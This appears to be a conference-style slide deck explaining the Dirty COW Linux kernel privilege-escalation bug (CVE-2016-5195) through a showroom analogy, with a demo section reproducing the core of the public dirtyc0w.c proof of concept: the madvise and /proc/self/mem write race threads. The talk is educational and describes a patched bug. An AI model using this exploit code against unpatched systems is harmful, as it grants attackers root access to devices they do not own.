Dirty COW Issue

BabuSubashChandar C

babusubashchandar@zilogic.com

Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel. An ancient bug, as per the words of Linus Torvalds, recently fixed after several attacks found "in the wild".

Terminology

issue == bug == exploit == vulnerability

Who found this bug?

When was it found?

Are we affected?

Yes!

Is it fixed?

Yes!

Refer Dirty COW wiki for more details on Fixed Kernel versions.

Branding

Mooooooove Up

  • Dirty COW is a nickname of the privilege-escalation vulnerability potentially allows any malicious code, to gain root-level access and completely hijack the device.
  • The programming bug gets its name from the copy-on-write mechanism in the Linux kernel.
  • The implementation of COW in Kernel had a flaw, the programs can set up a race condition to tamper with what should be a read-only root-owned executable mapped into memory.
  • This flaw can be exploited to take advantage on any device, which includes android phones, whose base is Linux Kernel. Pandemic across architectures.

What is COW?

  • Consider a furniture showroom showcases a chair.
  • Two persons are asking for the chair.
  • Unless a person orders the chair, a copy of the chair will not be created.
  • This is CoW and it is done automagically by OS.

Dirty COW Explained

  • Now consider one of the person is repeatedly ordering and declining the order.
  • Now the showroom owner got crazy and gives away the chair to a person who didn't pay for the chair.
  • This is exactly what happens in Dirty CoW.
  • The pages allocated via CoW are marked dirty and indicated to OS as not needed. But the same has been written to the disk when asked to write by creating another copy.

Demo

PoC of Exploit

dirtyc0w.c | main function

f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);

pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

pthread_join(pth1,NULL);
pthread_join(pth2,NULL);

dirtyc0w.c | madvise thread

for(i=0;i<100000000;i++)
{
       c+=madvise(map,100,MADV_DONTNEED);
}

dirtyc0w.c | procselfmem thread

int f=open("/proc/self/mem",O_RDWR);
int i,c=0;

for(i=0;i<100000000;i++) {
       lseek(f,(uintptr_t) map,SEEK_SET);
       c+=write(f,str,strlen(str));
}

Running apart

madivse thread

procselfmem thread

madvise()

---

---

write()

madvise()

---

---

write()

madvise()

---

---

write()

...

...

Synchronised

madivse thread

procselfmem thread

madvise()

---

---

write()

madvise()

---

---

write()

---

write()

madvise()

write()

How it is fixed

Questions

References

Follow me

babuenir

@babuenir

babuenir

SpaceForward
Right, Down, Page DownNext slide
Left, Up, Page UpPrevious slide
POpen presenter console
HToggle this help